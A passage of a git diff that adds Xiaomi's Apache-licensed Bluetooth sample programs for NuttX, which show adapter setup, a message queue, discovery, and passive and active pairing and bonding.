argv[]) +{ + node_t* node = NULL; + + // 1. Initialize semaphore; + // 2. Initialize mutex; + // 3. Initialize message queue. + app_demo_init(); + + // Create bluetooth client instance. + g_bt_ins = bluetooth_create_instance(); + if (g_bt_ins == NULL) { + LOGE("create instance error"); + goto error; + } + + // Register gap callback. + adapter_callback = bt_adapter_register_callback(g_bt_ins, &app_gap_cbs); + if (adapter_callback == NULL) { + LOGE("register callback error."); + goto error; + } + + // Enable bluetooth. + if (bt_adapter_enable(g_bt_ins) != BT_STATUS_SUCCESS) { + LOGE("enable adapter error."); + goto error; + } + + // The app main thread,is used to handle bluetooth events. + while (app_if_running()) { + // Obtain the msg to be processed. + node = app_list_remove_head(); + + // The main thread processes events. + app_handle_message(node); + } + +error: + // Unregister gap callback; + if (adapter_callback) { + bt_adapter_unregister_callback(g_bt_ins, adapter_callback); + adapter_callback = NULL; + } + + if (g_bt_ins) { + // Delete bluetooth client instance; + bluetooth_delete_instance(g_bt_ins); + g_bt_ins = NULL; + } + + // 1. Destroy semaphore; + // 2. Destroy mutex; + // 3. clean up message queue. + app_demo_deinit(); + + LOGI("Bluetooth closed."); + + return 0; +} \ No newline at end of file diff --git a/sample_code/acceptbond/acceptbond.h b/sample_code/acceptbond/acceptbond.h new file mode 100644 index 0000000000000000000000000000000000000000..5fb1dd22676ee5919664776ce4ec6faaf82df421 --- /dev/null +++ b/sample_code/acceptbond/acceptbond.h @@ -0,0 +1,75 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <nuttx/list.h> +#include <semaphore.h> +#include <stdio.h> +#include <stdlib.h> +#include <syslog.h> + +#include "app_bt_message_gap.h" +#include "bluetooth.h" +#include "bt_adapter.h" + +typedef enum { +#define __APP_BT_MESSAGE_CODE__ +#include "app_bt_message_gap.h" +#undef __APP_BT_MESSAGE_CODE__ +} app_bt_message_type_t; + +#define APP_LOG_TAG "app_demo" + +#define LOG_EMERG 0 /* system is unusable */ +#define LOG_ALERT 1 /* action must be taken immediately */ +#define LOG_CRIT 2 /* critical conditions */ +#define LOG_ERR 3 /* error conditions */ +#define LOG_WARNING 4 /* warning conditions */ +#define LOG_NOTICE 5 /* normal but significant condition */ +#define LOG_INFO 6 /* informational */ +#define LOG_DEBUG 7 /* debug-level messages */ + +#define LOGE(fmt, ...) syslog(LOG_ERR, "[" APP_LOG_TAG "]" \ + ": " fmt "\n", \ + ##__VA_ARGS__); +#define LOGW(fmt, ...) syslog(LOG_WARNING, "[" APP_LOG_TAG "]" \ + ": " fmt "\n", \ + ##__VA_ARGS__); +#define LOGI(fmt, ...) syslog(LOG_INFO, "[" APP_LOG_TAG "]" \ + ": " fmt "\n", \ + ##__VA_ARGS__); + +typedef struct { + uint32_t msg_type; + union { + app_bt_message_gap_t gap_req; + }; + union { + app_bt_message_gap_callbacks_t gap_cb; + }; +} app_demo_message_t; + +typedef struct { + struct list_node node; + app_demo_message_t data; +} node_t; + +typedef struct { + uint8_t running; + sem_t sem; + pthread_mutex_t mutex; + struct list_node message_queue; +} app_demo_t; + +void demo_acceptbond_handle_gap_message(bt_instance_t* g_bt_ins, node_t* node); \ No newline at end of file diff --git a/sample_code/acceptbond/app_bt_gap.c b/sample_code/acceptbond/app_bt_gap.c new file mode 100644 index 0000000000000000000000000000000000000000..5dffc4301505fd3c88ba074c99df0794683b8a66 --- /dev/null +++ b/sample_code/acceptbond/app_bt_gap.c @@ -0,0 +1,56 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdio.h> +#include <stdlib.h> +#include <syslog.h> + +#include "acceptbond.h" + +void demo_acceptbond_handle_gap_message(bt_instance_t* g_bt_ins, node_t* node) +{ + app_demo_message_t* msg = &node->data; + switch (msg->msg_type) { + case APP_BT_GAP_GET_NAME: + bt_adapter_get_name(g_bt_ins, msg->gap_req._bt_adapter_get_name.name, BT_NAME_LENGTH); + LOGI("Adapter Name: %s\n", msg->gap_req._bt_adapter_get_name.name); + break; + case APP_BT_GAP_SET_SCANMODE: + bt_adapter_set_scan_mode(g_bt_ins, msg->gap_req._bt_adapter_set_scan_mode.mode, + msg->gap_req._bt_adapter_set_scan_mode.bondable); + break; + case APP_BT_GAP_SET_IO_CAPABILITY: + bt_adapter_set_io_capability(g_bt_ins, msg->gap_req._bt_adapter_set_io_capability.cap); + break; + case APP_BT_GAP_CONNECT_REQUEST_REPLY: + bt_device_connect_request_reply(g_bt_ins, &msg->gap_req._bt_device_connect_request_reply.addr, + msg->gap_req._bt_device_connect_request_reply.accept); + break; + case APP_BT_GAP_ON_GAP_STATE_CHANGED: + break; + case APP_BT_GAP_ON_CONNECTION_STATE_CHANGED: + break; + case APP_BT_GAP_ON_BOND_STATE_CHANGED: + LOGI("Bond state changed: %d", msg->gap_cb._on_bond_state_changed.state); + if (msg->gap_cb._on_bond_state_changed.state == BOND_STATE_BONDED) { + // The sample code is used to test passive connection/pairing/binding, + // so after device is bonded, reset the running flag. + bt_adapter_disable(g_bt_ins); + } + break; + default: + break; + } +} diff --git a/sample_code/acceptbond/app_bt_message_gap.h b/sample_code/acceptbond/app_bt_message_gap.h new file mode 100644 index 0000000000000000000000000000000000000000..041c57230efa6637470b4a68e740087926081be2 --- /dev/null +++ b/sample_code/acceptbond/app_bt_message_gap.h @@ -0,0 +1,84 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifdef __APP_BT_MESSAGE_CODE__ +APP_BT_GAP_MESSAGE_START, + APP_BT_GAP_GET_NAME, + APP_BT_GAP_SET_SCANMODE, + APP_BT_GAP_SET_IO_CAPABILITY, + APP_BT_GAP_CONNECT_REQUEST_REPLY, + APP_BT_GAP_CONNECT_DISCONNECT, + APP_BT_GAP_ON_GAP_STATE_CHANGED, + APP_BT_GAP_ON_CONNECTION_STATE_CHANGED, + APP_BT_GAP_ON_BOND_STATE_CHANGED, + APP_BT_GAP_MESSAGE_END, +#endif + +#ifndef _BT_MESSAGE_ADAPTER_H__ +#define _BT_MESSAGE_ADAPTER_H__ + +#define BT_NAME_LENGTH 64 + +#ifdef __cplusplus + extern "C" +{ +#endif + +#include "bt_adapter.h" + + typedef union { + struct { + char name[BT_NAME_LENGTH]; + } _bt_adapter_set_name, + _bt_adapter_get_name; + + struct { + uint8_t mode; /* bt_scan_mode_t */ + uint8_t bondable; /* boolean */ + } _bt_adapter_set_scan_mode; + + struct { + uint8_t cap; /* bt_io_capability_t */ + } _bt_adapter_set_io_capability; + + struct { + bt_address_t addr; + uint8_t accept; /* boolean */ + } _bt_device_connect_request_reply; + } app_bt_message_gap_t; + + typedef union { + struct { + uint8_t state; /* bt_adapter_state_t */ + } _on_adapter_state_changed; + + struct { + bt_address_t addr; + uint8_t transport; /* bt_transport_t */ + uint8_t state; /* connection_state_t */ + } _on_connection_state_changed; + + struct { + bt_address_t addr; + uint8_t transport; /* bt_transport_t */ + uint8_t state; /* bond_state_t */ + uint8_t is_ctkd; /* boolean */ + } _on_bond_state_changed; + } app_bt_message_gap_callbacks_t; +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_ADAPTER_H__ */ \ No newline at end of file diff --git a/sample_code/basic/app_bt_gap.c b/sample_code/basic/app_bt_gap.c new file mode 100644 index 0000000000000000000000000000000000000000..b774ce746e6c604be633f23d5287289fb63dca91 --- /dev/null +++ b/sample_code/basic/app_bt_gap.c @@ -0,0 +1,24 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdio.h> +#include <stdlib.h> + +#include "basic.h" + +void demo_basic_handle_gap_message(bt_instance_t* g_bt_ins, node_t* node) +{ + // Handle Bluetooth message,Call the API interface of Bluetooth. +} diff --git a/sample_code/basic/app_bt_message_gap.h b/sample_code/basic/app_bt_message_gap.h new file mode 100644 index 0000000000000000000000000000000000000000..6be1f157b280aaa54a083acae2f7869d99c7b97e --- /dev/null +++ b/sample_code/basic/app_bt_message_gap.h @@ -0,0 +1,44 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifdef __APP_BT_MESSAGE_CODE__ +APP_BT_GAP_MESSAGE_START, + APP_BT_GAP_MESSAGE_END, +#endif + +#ifndef _BT_MESSAGE_ADAPTER_H__ +#define _BT_MESSAGE_ADAPTER_H__ + +#define BT_NAME_LENGTH 64 + +#ifdef __cplusplus + extern "C" +{ +#endif + +#include "bt_adapter.h" + + typedef union { + + } app_bt_message_gap_t; + + typedef union { + + } app_bt_message_gap_callbacks_t; +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_ADAPTER_H__ */ \ No newline at end of file diff --git a/sample_code/basic/basic.c b/sample_code/basic/basic.c new file mode 100644 index 0000000000000000000000000000000000000000..68f57ffbfaf05348f809f943ed0af7128acf055f --- /dev/null +++ b/sample_code/basic/basic.c @@ -0,0 +1,211 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdio.h> +#include <stdlib.h> + +#include "basic.h" + +static bt_instance_t* g_bt_ins = NULL; +static void* adapter_callback = NULL; +static app_demo_t app_demo; + +/** + * @brief Block the current thread and wait to be woken up. + */ +static void wait_awakened(void) +{ + sem_wait(&app_demo.sem); +} + +/** + * @brief Wake up the main thread of the app. + */ +static void wakeup_thread(void) +{ + sem_post(&app_demo.sem); +} + +/** + * @brief Add a node to the message queue. + */ +static void app_list_add_tail(struct list_node* node) +{ + pthread_mutex_lock(&app_demo.mutex); + list_add_tail(&app_demo.message_queue, node); + pthread_mutex_unlock(&app_demo.mutex); + wakeup_thread(); +} + +/** + * @brief Remove the head node of the message queue. + */ +static node_t* app_list_remove_head(void) +{ + node_t* node_data; + + wait_awakened(); + + pthread_mutex_lock(&app_demo.mutex); + struct list_node* node = list_remove_head(&app_demo.message_queue); + pthread_mutex_unlock(&app_demo.mutex); + if (node == NULL) { + return NULL; + } + + node_data = list_entry(node, node_t, node); + return node_data; +} + +/** + * @brief Adapter state change callback. + * + * This function is executed in the bt_client thread, the app needs to handle the callback + * in another thread. + */ +static void gap_adapter_state_changed_callback(void* cookie, bt_adapter_state_t state) +{ +} + +// gap callback +const static adapter_callbacks_t app_gap_cbs = { + .on_adapter_state_changed = gap_adapter_state_changed_callback, +}; + +/** + * @brief Initialize semaphore, mutex, message queue. + * + * @note Semaphores are used to control the number of concurrently executing threads. + * A semaphore has a counter, and threads need to acquire the semaphore before + * accessing a resource. When the semaphore counter is greater than 0, the thread + * can continue executing. When the semaphore counter is equal to 0, the thread + * needs to wait for other threads to release resources so that the semaphore + * counter can increase before it can continue executing. + * + * @note Mutex locks are used to protect shared resources, ensuring that only one thread + * can access the shared resource at a time, while other threads must wait until + * the lock is released by that thread before they can access it. + * + * @note Message queues is used to store events to be processed. When calling the Bluetooth + * synchronization interface, receiving and sending Bluetooth messages from the Bluetooth + * module should be done in different threads. + */ +static void app_demo_init(void) +{ + app_demo.running = 1; + sem_init(&app_demo.sem, 0, 1); + pthread_mutex_init(&app_demo.mutex, NULL); + list_initialize(&app_demo.message_queue); +} + +/** + * @brief Destroy semaphore, mutex, clear up message queue. + */ +static void app_demo_deinit(void) +{ + sem_destroy(&app_demo.sem); + pthread_mutex_destroy(&app_demo.mutex); + + node_t* entry = NULL; + node_t* temp_entry = NULL; + list_for_every_entry_safe(&app_demo.message_queue, entry, temp_entry, node_t, node) + { + list_delete(&entry->node); + free(entry); + } +} + +/** + * @brief The main thread processes events. + */ +static void app_handle_message(node_t* node) +{ + if (node == NULL) { + return; + } + + if (node->data.msg_type > APP_BT_GAP_MESSAGE_START && node->data.msg_type < APP_BT_GAP_MESSAGE_END) + demo_basic_handle_gap_message(g_bt_ins, node); +} + +/** + * @brief Check the exit condition of the while loop in the main function. + * + * The condition for exiting the while loop can be multiple, but in this demo, + * only one scenario is provided: Bluetooth is turned off. + */ +static bool app_if_running(void) +{ + // Developers can add additional exit condition checks. + + // basic demo has no messages to process, so app_demo.running = 0 + app_demo.running = 0; + return app_demo.running; +} + +int main(int argc, char* argv[]) +{ + node_t* node = NULL; + + // 1. Initialize semaphore; + // 2. Initialize mutex; + // 3. Initialize message queue. + app_demo_init(); + + // Create bluetooth client instance. + g_bt_ins = bluetooth_create_instance(); + if (g_bt_ins == NULL) { + LOGE("create instance error"); + goto error; + } + + // Register gap callback. + adapter_callback = bt_adapter_register_callback(g_bt_ins, &app_gap_cbs); + if (adapter_callback == NULL) { + LOGE("register callback error."); + goto error; + } + + // The app main thread,is used to handle bluetooth events. + while (app_if_running()) { + // Obtain the msg to be processed. + node = app_list_remove_head(); + + // The main thread processes events. + app_handle_message(node); + } + +error: + // Unregister gap callback; + if (adapter_callback) { + bt_adapter_unregister_callback(g_bt_ins, adapter_callback); + adapter_callback = NULL; + } + + if (g_bt_ins) { + // Delete bluetooth client instance; + bluetooth_delete_instance(g_bt_ins); + g_bt_ins = NULL; + } + + // 1. Destroy semaphore; + // 2. Destroy mutex; + // 3. clean up message queue. + app_demo_deinit(); + + LOGI("Bluetooth closed."); + + return 0; +} \ No newline at end of file diff --git a/sample_code/basic/basic.h b/sample_code/basic/basic.h new file mode 100644 index 0000000000000000000000000000000000000000..2ce25d9ed46033c8a0f15ce3f07e6ba8f3f411d9 --- /dev/null +++ b/sample_code/basic/basic.h @@ -0,0 +1,74 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <nuttx/list.h> +#include <semaphore.h> +#include <stdio.h> +#include <stdlib.h> + +#include "app_bt_message_gap.h" +#include "bluetooth.h" +#include "bt_adapter.h" + +typedef enum { +#define __APP_BT_MESSAGE_CODE__ +#include "app_bt_message_gap.h" +#undef __APP_BT_MESSAGE_CODE__ +} app_bt_message_type_t; + +#define APP_LOG_TAG "app_demo" + +#define LOG_EMERG 0 /* system is unusable */ +#define LOG_ALERT 1 /* action must be taken immediately */ +#define LOG_CRIT 2 /* critical conditions */ +#define LOG_ERR 3 /* error conditions */ +#define LOG_WARNING 4 /* warning conditions */ +#define LOG_NOTICE 5 /* normal but significant condition */ +#define LOG_INFO 6 /* informational */ +#define LOG_DEBUG 7 /* debug-level messages */ + +#define LOGE(fmt, ...) syslog(LOG_ERR, "[" APP_LOG_TAG "]" \ + ": " fmt "\n", \ + ##__VA_ARGS__); +#define LOGW(fmt, ...) syslog(LOG_WARNING, "[" APP_LOG_TAG "]" \ + ": " fmt "\n", \ + ##__VA_ARGS__); +#define LOGI(fmt, ...) syslog(LOG_INFO, "[" APP_LOG_TAG "]" \ + ": " fmt "\n", \ + ##__VA_ARGS__); + +typedef struct { + uint32_t msg_type; + union { + app_bt_message_gap_t gap_req; + }; + union { + app_bt_message_gap_callbacks_t gap_cb; + }; +} app_demo_message_t; + +typedef struct { + struct list_node node; + app_demo_message_t data; +} node_t; + +typedef struct { + uint8_t running; + sem_t sem; + pthread_mutex_t mutex; + struct list_node message_queue; +} app_demo_t; + +void demo_basic_handle_gap_message(bt_instance_t* g_bt_ins, node_t* node); \ No newline at end of file diff --git a/sample_code/createbond/app_bt_gap.c b/sample_code/createbond/app_bt_gap.c new file mode 100644 index 0000000000000000000000000000000000000000..55c65020524557e5a2d4d083a3e7b9d445612459 --- /dev/null +++ b/sample_code/createbond/app_bt_gap.c @@ -0,0 +1,66 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdio.h> +#include <stdlib.h> + +#include "createbond.h" + +void demo_createbond_handle_gap_message(bt_instance_t* g_bt_ins, node_t* node) +{ + app_demo_message_t* msg = &node->data; + switch (msg->msg_type) { + case APP_BT_GAP_SET_SCANMODE: + bt_adapter_set_scan_mode(g_bt_ins, msg->gap_req._bt_adapter_set_scan_mode.mode, + msg->gap_req._bt_adapter_set_scan_mode.bondable); + break; + case APP_BT_GAP_SET_IO_CAPABILITY: + bt_adapter_set_io_capability(g_bt_ins, msg->gap_req._bt_adapter_set_io_capability.cap); + break; + case APP_BT_GAP_START_DISCOVERY: + bt_adapter_start_discovery(g_bt_ins, msg->gap_req._bt_adapter_start_discovery.timeout); + break; + case APP_BT_GAP_CREATE_BOND: + bt_status_t ret = bt_device_create_bond(g_bt_ins, &msg->gap_req._bt_device_create_bond.addr, + msg->gap_req._bt_device_create_bond.transport); + if (ret != BT_STATUS_SUCCESS) { + LOGE("create bond failed, after removing the bound device, try again\n"); + } + break; + case APP_BT_GAP_ON_GAP_STATE_CHANGED: + LOGI("Adapter state changed: %d", msg->gap_cb._on_adapter_state_changed.state); + break; + case APP_BT_GAP_ON_DISCOVERY_STATE_CHANGED: + if (msg->gap_cb._on_discovery_state_changed.state == BT_DISCOVERY_STATE_STARTED) { + LOGI("Discovery started"); + break; + } + LOGI("Discovery stopped"); + break; + case APP_BT_GAP_ON_CONNECTION_STATE_CHANGED: + LOGI("Connection state changed: %d", msg->gap_cb._on_connection_state_changed.state); + break; + case APP_BT_GAP_ON_BOND_STATE_CHANGED: + LOGI("Bond state changed: %d", msg->gap_cb._on_bond_state_changed.state); + if (msg->gap_cb._on_bond_state_changed.state == BOND_STATE_BONDED) { + // The sample code is used to test active connection/pairing/binding, + // so after device is bonded, reset the running flag. + bt_adapter_disable(g_bt_ins); + } + break; + default: + break; + } +} \ No newline at end of file diff --git a/sample_code/createbond/app_bt_message_gap.h b/sample_code/createbond/app_bt_message_gap.h new file mode 100644 index 0000000000000000000000000000000000000000..d52c2310264e27fc0d6f75ba7db5e44f0e8b52fa --- /dev/null +++ b/sample_code/createbond/app_bt_message_gap.h @@ -0,0 +1,88 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifdef __APP_BT_MESSAGE_CODE__ +APP_BT_GAP_MESSAGE_START, + APP_BT_GAP_SET_SCANMODE, + APP_BT_GAP_SET_IO_CAPABILITY, + APP_BT_GAP_START_DISCOVERY, + APP_BT_GAP_CREATE_BOND, + APP_BT_GAP_ON_GAP_STATE_CHANGED, + APP_BT_GAP_ON_DISCOVERY_RESULT, + APP_BT_GAP_ON_DISCOVERY_STATE_CHANGED, + APP_BT_GAP_ON_CONNECTION_STATE_CHANGED, + APP_BT_GAP_ON_BOND_STATE_CHANGED, + APP_BT_GAP_MESSAGE_END, +#endif + +#ifndef _BT_MESSAGE_ADAPTER_H__ +#define _BT_MESSAGE_ADAPTER_H__ + +#define BT_NAME_LENGTH 64 + +#ifdef __cplusplus + extern "C" +{ +#endif + +#include "bt_adapter.h" + + typedef union { + struct { + uint8_t mode; /* bt_scan_mode_t */ + uint8_t bondable; /* boolean */ + } _bt_adapter_set_scan_mode; + + struct { + uint8_t cap; /* bt_io_capability_t */ + } _bt_adapter_set_io_capability; + + struct { + uint32_t timeout; + } _bt_adapter_start_discovery; + + struct { + bt_address_t addr; + uint8_t transport; /* bt_transport_t */ + } _bt_device_create_bond; + } app_bt_message_gap_t; + + typedef union { + struct { + uint8_t state; /* bt_adapter_state_t */ + } _on_adapter_state_changed; + + struct { + bt_address_t addr; + uint8_t transport; /* bt_transport_t */ + uint8_t state; /* connection_state_t */ + } _on_connection_state_changed; + + struct { + bt_address_t addr; + uint8_t transport; /* bt_transport_t */ + uint8_t state; /* bond_state_t */ + uint8_t is_ctkd; /* boolean */ + } _on_bond_state_changed; + + struct { + uint8_t state; /* bt_discovery_state_t */ + } _on_discovery_state_changed; + } app_bt_message_gap_callbacks_t; +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_ADAPTER_H__ */ \ No newline at end of file diff --git a/sample_code/createbond/createbond.c b/sample_code/createbond/createbond.c new file mode 100644 index 0000000000000000000000000000000000000000..acd245f04635463652a47c37fa4eed7efa7dfeaa --- /dev/null +++ b/sample_code/createbond/createbond.c @@ -0,0 +1,405 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdio.h> +#include <stdlib.h> + +#include "createbond.h" + +static bt_instance_t* g_bt_ins = NULL; +static void* adapter_callback = NULL; +static app_demo_t app_demo; + +/** + * @brief peer device address. + * + * @note The address is in reverse order. If the address of the peer device + * is 11:22:33:44:55:66, it should be written as 66:55:44:33:22:11 here. + */ +static const bt_address_t test_remote_addr = { + { 0x66, 0x55, 0x44, 0x33, 0x22, 0x11 } +}; + +/** + * @brief Block the current thread and wait to be woken up. + */ +static void wait_awakened(void) +{ + sem_wait(&app_demo.sem); +} + +/** + * @brief Wake up the main thread of the app. + */ +static void wakeup_thread(void) +{ + sem_post(&app_demo.sem); +} + +/** + * @brief Add a node to the message queue. + */ +static void app_list_add_tail(struct list_node* node) +{ + pthread_mutex_lock(&app_demo.mutex); + list_add_tail(&app_demo.message_queue, node); + pthread_mutex_unlock(&app_demo.mutex); + wakeup_thread(); +} + +/** + * @brief Remove the head node of the message queue. + */ +static node_t* app_list_remove_head(void) +{ + node_t* node_data; + + wait_awakened(); + + pthread_mutex_lock(&app_demo.mutex); + struct list_node* node = list_remove_head(&app_demo.message_queue); + pthread_mutex_unlock(&app_demo.mutex); + if (node == NULL) { + return NULL; + } + + node_data = list_entry(node, node_t, node); + return node_data; +} + +/** + * @brief Set the scanning mode to make the device locally connectable and discoverable. + */ +static void app_bt_set_scan_mode(bt_scan_mode_t mode, bool bondable) +{ + node_t* node = (node_t*)malloc(sizeof(node_t)); + if (node == NULL) { + LOGE("malloc failed."); + return; + } + + node->data.msg_type = APP_BT_GAP_SET_SCANMODE; + node->data.gap_req._bt_adapter_set_scan_mode.mode = mode; + node->data.gap_req._bt_adapter_set_scan_mode.bondable = bondable; + app_list_add_tail(&node->node); +} + +/** + * @brief Set io capability to NOINPUTNOOUTPUT. + */ +static void app_bt_set_io_capability(bt_io_capability_t capability) +{ + node_t* node = (node_t*)malloc(sizeof(node_t)); + if (node == NULL) { + LOGE("malloc failed."); + return; + } + + node->data.msg_type = APP_BT_GAP_SET_IO_CAPABILITY; + node->data.gap_req._bt_adapter_set_io_capability.cap = capability; + app_list_add_tail(&node->node); +} + +static void app_bt_gap_init(void) +{ + app_bt_set_io_capability(BT_IO_CAPABILITY_NOINPUTNOOUTPUT); + + app_bt_set_scan_mode(BT_SCAN_MODE_CONNECTABLE_DISCOVERABLE, true); +} + +/** + * @brief Discover nearby Bluetooth devices. + */ +static void app_bt_discovery(void) +{ + node_t* node = (node_t*)malloc(sizeof(node_t)); + if (node == NULL) { + LOGE("malloc failed."); + return; + } + + node->data.msg_type = APP_BT_GAP_START_DISCOVERY; + node->data.gap_req._bt_adapter_start_discovery.timeout = 2; + app_list_add_tail(&node->node); +} + +/** + * @brief Adapter state change callback. + * + * This function is executed in the bt_client thread, the app needs to handle the callback + * in another thread. + */ +static void gap_adapter_state_changed_callback(void* cookie, bt_adapter_state_t state) +{ + if (state != BT_ADAPTER_STATE_ON && state != BT_ADAPTER_STATE_OFF) + return; + + node_t* node = (node_t*)malloc(sizeof(node_t)); + if (node == NULL) { + LOGE("malloc failed."); + return; + } + + node->data.msg_type = APP_BT_GAP_ON_GAP_STATE_CHANGED; + node->data.gap_cb._on_adapter_state_changed.state = state; + app_list_add_tail(&node->node); + + if (state == BT_ADAPTER_STATE_ON) { + app_bt_gap_init(); + app_bt_discovery(); + } else if (state == BT_ADAPTER_STATE_OFF) { + app_demo.running = 0; + } +} + +/** + * @brief Connection state change callback. + * + * This function is executed in the bt_client thread, the app needs to handle the callback + * in another thread. + */ +static void gap_connection_state_changed_callback(void* cookie, bt_address_t* addr, bt_transport_t transport, connection_state_t state) +{ + + node_t* node = (node_t*)malloc(sizeof(node_t)); + if (node == NULL) { + LOGE("malloc failed."); + return; + } + + node->data.msg_type = APP_BT_GAP_ON_CONNECTION_STATE_CHANGED; + node->data.gap_cb._on_connection_state_changed.state = state; + node->data.gap_cb._on_connection_state_changed.transport = transport; + memcpy(&node->data.gap_cb._on_connection_state_changed.addr, addr, sizeof(bt_address_t)); + + app_list_add_tail(&node->node); +} + +/** + * @brief Bond state change callback. + * + * This function is executed in the bt_client thread, the app needs to handle the callback + * in another thread. + */ +static void gap_bond_state_changed_callback(void* cookie, bt_address_t* addr, bt_transport_t transport, bond_state_t state, bool is_ctkd) +{ + node_t* node = (node_t*)malloc(sizeof(node_t)); + if (node == NULL) { + LOGE("malloc failed."); + return; + } + + node->data.msg_type = APP_BT_GAP_ON_BOND_STATE_CHANGED; + node->data.gap_cb._on_bond_state_changed.state = state; + node->data.gap_cb._on_bond_state_changed.transport = transport; + node->data.gap_cb._on_bond_state_changed.is_ctkd = is_ctkd; + memcpy(&node->data.gap_cb._on_bond_state_changed.addr, addr, sizeof(bt_address_t)); + + app_list_add_tail(&node->node); +} + +/** + * @brief Discovery result callback. + * + * This function is executed in the bt_client thread, the app needs to handle the callback + * in another thread. + */ +static void gap_discovery_result_callback(void* cookie, bt_discovery_result_t* remote) +{ + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + bt_addr_ba2str(&remote->addr, addr_str); + + LOGI("Discovery result: device [%s], name: %s, code: %08x, is HEADSET: %s, rssi: %d\n", + addr_str, remote->name, remote->cod, + IS_HEADSET(remote->cod) ? "true" : "false", + remote->rssi); +} + +static void app_create_bond(void) +{ + node_t* node = (node_t*)malloc(sizeof(node_t)); + if (node == NULL) { + LOGE("malloc failed."); + return; + } + + node->data.msg_type = APP_BT_GAP_CREATE_BOND; + node->data.gap_req._bt_device_create_bond.transport = BT_TRANSPORT_BREDR; + memcpy(&node->data.gap_req._bt_device_create_bond.addr, &test_remote_addr, sizeof(bt_address_t)); + + app_list_add_tail(&node->node); +} + +/** + * @brief Discovery state change callback. + * + * This function is executed in the bt_client thread, the app needs to handle the callback + * in another thread. + */ +static void gap_discovery_state_changed_callback(void* cookie, bt_discovery_state_t state) +{ + node_t* node = 